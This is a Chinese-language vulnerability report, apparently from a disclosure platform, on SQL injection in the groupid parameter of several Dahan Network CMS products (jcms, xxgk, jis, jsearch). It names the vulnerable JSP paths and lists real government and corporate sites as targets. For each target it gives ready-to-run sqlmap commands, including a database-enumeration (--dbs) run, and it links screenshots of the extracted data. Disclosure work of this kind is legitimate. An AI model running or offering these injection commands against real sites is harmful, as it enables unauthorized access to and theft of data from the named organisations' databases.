### 简要描述： 大汉网络多个系统高危SQL注入（2个） ### 详细说明： 经测试，发现jcms xxgk jis lm jbook jphoto jget jearch等系统存在高危SQL注入 漏洞文件为 /workflow/objectbox/selx_groupuserlist.jsp?groupid=1&changetype=1 /workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 /workflow/objectbox/selectx_grouplist.jsp?groupid=1&changetype=1 其中groupid参数存在注入 随便选择几个案例证明 1.jcms内容管理系统 http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 sqlmap.py -u "http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1" [<img src="https://images.seebug.org/upload/201411/11211447dbd4bf5418bcd40be28639704b297b7d.jpg" alt="jcms.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/11211447dbd4bf5418bcd40be28639704b297b7d.jpg) 2.xxgk信息公开系统 http://xxgk.lucheng.gov.cn/xxgk/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 sqlmap.py -u...
### 简要描述： 大汉网络多个系统高危SQL注入（2个） ### 详细说明： 经测试，发现jcms xxgk jis lm jbook jphoto jget jearch等系统存在高危SQL注入 漏洞文件为 /workflow/objectbox/selx_groupuserlist.jsp?groupid=1&changetype=1 /workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 /workflow/objectbox/selectx_grouplist.jsp?groupid=1&changetype=1 其中groupid参数存在注入 随便选择几个案例证明 1.jcms内容管理系统 http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 sqlmap.py -u "http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1" [<img src="https://images.seebug.org/upload/201411/11211447dbd4bf5418bcd40be28639704b297b7d.jpg" alt="jcms.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/11211447dbd4bf5418bcd40be28639704b297b7d.jpg) 2.xxgk信息公开系统 http://xxgk.lucheng.gov.cn/xxgk/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 sqlmap.py -u "http://xxgk.lucheng.gov.cn/xxgk/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1" [<img src="https://images.seebug.org/upload/201411/112115425f452a8e132dade14cb6ffebfb10fa80.jpg" alt="xxgk.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/112115425f452a8e132dade14cb6ffebfb10fa80.jpg) 3.jsearch搜索系统 http://sha.sinotrans.com/jsearch/objectbox/selectx_grouplist.jsp?groupid=jsearch&changetype=1 sqlmap.py -u "http://sha.sinotrans.com/jsearch/objectbox/selectx_grouplist.jsp?groupid=jsearch&changetype=1" [<img src="https://images.seebug.org/upload/201411/11211857dfc1cf6195fdd64e2b1eb094077cbe72.jpg" alt="jsearch.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/11211857dfc1cf6195fdd64e2b1eb094077cbe72.jpg) 4.jis身份认证系统 http://www.wugang.gov.cn/jis/objectbox/selx_grouplist.jsp?groupid=1&changetype=1 sqlmap.py -u "http://www.wugang.gov.cn/jis/objectbox/selx_grouplist.jsp?groupid=1&changetype=1" [<img src="https://images.seebug.org/upload/201411/11211945a43760f4d8d6b0ab269395cfca8a1a2b.jpg" alt="jis.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/11211945a43760f4d8d6b0ab269395cfca8a1a2b.jpg) http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 http://sha.sinotrans.com/jsearch/objectbox/selectx_grouplist.jsp?groupid=jsearch&changetype=1 http://xxgk.lucheng.gov.cn/xxgk/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1 http://www.wugang.gov.cn/jis/objectbox/selx_grouplist.jsp?groupid=1&changetype=1 http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_grouplist.jsp?groupid=1&changetype=1 http://sha.sinotrans.com/jsearch/objectbox/selectx_groupuserlist.jsp?groupid=jsearch&changetype=1 http://xxgk.lucheng.gov.cn/xxgk/workflow/objectbox/selectx_grouplist.jsp?groupid=1&changetype=1 http://www.wugang.gov.cn/jis/objectbox/selx_grouplist.jsp?groupid=1&changetype=1 ### 漏洞证明： SQLMAP跑出的数据： DATA1:sqlmap.py -u "http://www.taojiang.gov.cn/jcms/workflow/objectbox/selectx_groupuserlist.jsp?groupid=1&changetype=1" --dbs [<img src="https://images.seebug.org/upload/201411/112121188eb74eff6d8cdbb2baa4d6ef757a0904.jpg" alt="data_jcms.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/112121188eb74eff6d8cdbb2baa4d6ef757a0904.jpg) DATA2:http://www.wugang.gov.cn/jis/objectbox/selx_grouplist.jsp?groupid=1&changetype=1 sqlmap.py -u "http://www.wugang.gov.cn/jis/objectbox/selx_grouplist.jsp?groupid=1&changetype=1" [<img src="https://images.seebug.org/upload/201411/112122088241eab2bf65ac81b9bfb4c803cdb543.jpg" alt="jis_datra.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/112122088241eab2bf65ac81b9bfb4c803cdb543.jpg)
